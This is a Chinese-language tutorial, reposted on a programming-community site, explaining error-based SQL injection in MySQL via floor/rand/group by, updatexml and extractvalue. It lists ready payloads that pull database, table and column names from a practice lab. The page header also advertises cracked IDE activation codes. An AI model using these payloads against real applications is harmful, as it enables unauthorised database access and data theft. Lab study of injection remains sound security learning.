报错注入详解_报错注入的过程

报错注入详解_报错注入的过程报错注入报错注入是SQL注入的一种。利用前提:页面上没有显示位,但是需要输出SQL语句执行错误信息。比如mysql_error()优点:不需要显示位缺点:需要输出mysql_error()的报错信息报错函数1、floor报错注入floor()报错注入是利用count()、rand()、floor()、groupby这几个特定的函数结合在一起产生的注入漏洞,准确的说是floor,count,groupby冲突报错。报错原理:利用数据库表主键不能重复的原理,使用GROUPBY分组,产生主

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

报错注入

报错注入是SQL注入的一种。
利用前提:页面上没有显示位,但是需要输出SQL语句执行错误信息。比如mysql_error()
优点:不需要显示位
缺点:需要输出mysql_error()的报错信息

报错函数

1、floor报错注入

floor()报错注入是利用count()、rand()、floor()、group by 这几个特定的函数结合在一起产生的注入漏洞,准确的说是floor,count,group by冲突报错。
报错原理:利用数据库表主键不能重复的原理,使用GROUP BY分组,产生主键冗余,导致报错。

Rand()函数作用如下:
返回[0,1)之间的随机数,用法就是SELECT rand();
在这里插入图片描述
Floor()函数作用如下:
向下取整,用法即SELECT floor(11.332423),结果为11;

简单组合下,可以有SELECT floor(rand()*2);
会发现,产生的是0或1。

加大难度,可以有 SELECT CONCAT((SELECT database()),FLOOR(RAND()*2)), 结果就是security0或security1,这里假设数据库名为security

如果再加上from 表名,则一般会返回security0或security1的一个集合,数目由表本身所含记录数决定。
例如SELECT CONCAT((SELECT database()),FLOOR(RAND()*2)) FROM users;表中存在13各用户,则返回13条。

再加上group by语句,使用information_schema数据库查询表、列信息等,例如:
SELECT CONCAT((SELECT database()),FLOOR(RAND()*2)) as a FROM information_schema.tables group by a;
这样把CONCAT((SELECT database()),FLOOR(RAND()*2))取了个别名a,然后使用它进行分组,这样相同的security0分到一组,security1分到一组,就只剩下两个结果了。

这里的 database()可以替换成任何想查的函数,比如 version(),user(),datadir() 或者其它的查询。
相关文章–>https://blog.csdn.net/zpy1998zpy/article/details/80650540

靶场实战
我们使用靶场进行测试:
暴库名payload:

-1' union select count(*),1,concat((select database()
),floor(rand(0)*2))as a from information_schema.tables group by a --+

在这里插入图片描述
爆表数目

-1' union select 0x7e,count(*),concat((select count(table_name) from information_schema.tables where table_schema='security'),
floor(rand(0)*2))as a from information_schema.tables group by a --+

在这里插入图片描述

爆表名payload

-1' union select count(*),1,concat((select table_name from information_schema.tables where table_schema = 'security' limit 0,1
),floor(rand(0)*2))as a from information_schema.tables group by a --+

在这里插入图片描述
爆列名:

-1' union select 1,count(*),concat((select column_name from information_schema.columns where table_name = 'emails' limit 0,1),floor(rand(0)*2))
as a from information_schema.columns group by a --+

在这里插入图片描述

2、updatexml报错注入

原理:updatexml()函数实际上是去更新了XML文档,但是我们在xml文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了,但是报错的时候它其实已经执行了那个子查询代码。

updatexml(xml_document,xpath_string,new_value)

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc1
第二个参数: XPath_string (Xpath格式的字符串),如果不了解Xpath语法,可以在网上查找教程。
第三个参数: new_value,String格式,替换查找到的符合条件的数据。

作用: 改变文档中符合条件的节点的值。
获取数据库:

id=1' and updatexml(0x7e,concat(0x7e,database()),0x7e) --+

在这里插入图片描述
获取表的数量:

id=1' and updatexml(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+

在这里插入图片描述
获取表的名字:

id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) --+ id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1) --+
id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 2,1),0x7e),1) --+ id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1) --+

在这里插入图片描述
获取字段名

id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'users' limit 0,1),0x7e),1) --+

在这里插入图片描述

3、extractvalue报错注入

extractvalue(xml_document,xpath_string)
第一个参数:XML_document是 String 格式,为XMIL文档对象的名称。
第二个参数:XPath_string (Xpath格式的字符串)。
作用: 从目标XML中返回包含所查询值的字符串。
ps: 返回结果限制在32位字符。

爆库名:

id=1' and extractvalue(1,concat(0x7e,database())) --+

在这里插入图片描述
爆表数:

id=1' and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema=database()))) --+

在这里插入图片描述
爆表名:

id=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1))) --+

在这里插入图片描述
爆字段名:

id=1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1))) --+

在这里插入图片描述
宽字节注入移步–>传送门
更多漏洞原理移步–>传送门

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/187473.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • Java 枚举 (enum) 使用方法

    Java 枚举 (enum) 使用方法什么是枚举 枚举类型是 Java5 中新增特性的一部分 它是一个特殊的 class 这个 class 相当于 finalstatic 修饰 不能被继承 所有的枚举都继承自 java lang Enum 类 由于 Java 不支持多继承 所以枚举对象不能再继承其他类 在没有枚举类型时定义常量常见的方式 Createdbyzej 5 7 Blog http blog csdn net javazejian 原文地址 请尊重原创 使用普通方式定义日期常量

    2025年8月11日
    3
  • python上的表白代码_用Python实现表白代码

    python上的表白代码_用Python实现表白代码这篇文章带大家实现表白代码看过很多用批处理写的表白,就想着用Python实现一个实现用的是tkinter点击关闭按钮无法关闭defcloseWindow():messagebox.showinfo(title=”警告”,message=”关不掉吧,气不气”)return点击不喜欢的事件defnoLove():no_love=Toplevel(window)no_love.geometr…

    2022年10月14日
    2
  • 红帽子linux 架设ftp,RedHatLinux9架设FTP服务器方法[通俗易懂]

    红帽子linux 架设ftp,RedHatLinux9架设FTP服务器方法[通俗易懂]1.安装vsftpd服务器vsftpd是目前Linux最好的FTP服务器工具之一,其中的vs就是“VerySecure”(很安全)的缩写,可见它的最大优点就是安全,除此之外,它还具有体积小,可定制强,效率高的优点。如果选择完全安装RedHatLinux9.0,则系统会默认安装vsftpd服务器。我们可以在终端命令窗口输入以下命令进行验证:[root@ahpengroot]rpm-qagrepvsf…

    2022年7月21日
    16
  • 报关员计算机知识,报关员的计算机水平要多少[通俗易懂]

    报关员计算机知识,报关员的计算机水平要多少[通俗易懂]baijuantie新兵答主12-12TA获得超过3110个赞什么是报关员报关员(Customsbroker)又称企业海关经纪人、企业报关人员。报关员是指代表所属企业/单位向海关办理进出口货物报关纳税、在海关备案登记等通关手续的人员。报关员不是自由职业者,只能受雇于一个依法向海关注册登记的进出口货物收发货人或者企业,并代表该企业向海关办理业务。报关员的主要工作内容1.按照海关及规定要求在报关期限…

    2022年9月21日
    4
  • 云原生分布式数据库PolarDB_polardb数据库

    云原生分布式数据库PolarDB_polardb数据库原生数据库PolarDB和云原生数据仓库AnalyticDB的优势在哪里?李飞飞,现任阿里巴巴集团副总裁、高级研究员,阿里云智能数据库事业部总负责人。美国计算机协会ACM杰出科学家,加入阿里巴巴之前为美国犹他大学计算机系终身教授。研究成果多次获得了IEEEICDE、ACMSIGMOD最佳论文奖等重要学术奖项。他也是中国计算机协会CCF大数据专家委员会副主任、数据库专业委员会常委。————————————————原文链接:https://blog.csdn.net/alitech2017/artic

    2025年11月26日
    3
  • 获得PMP证书的这一年

    获得PMP证书的这一年

    2021年7月5日
    115

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号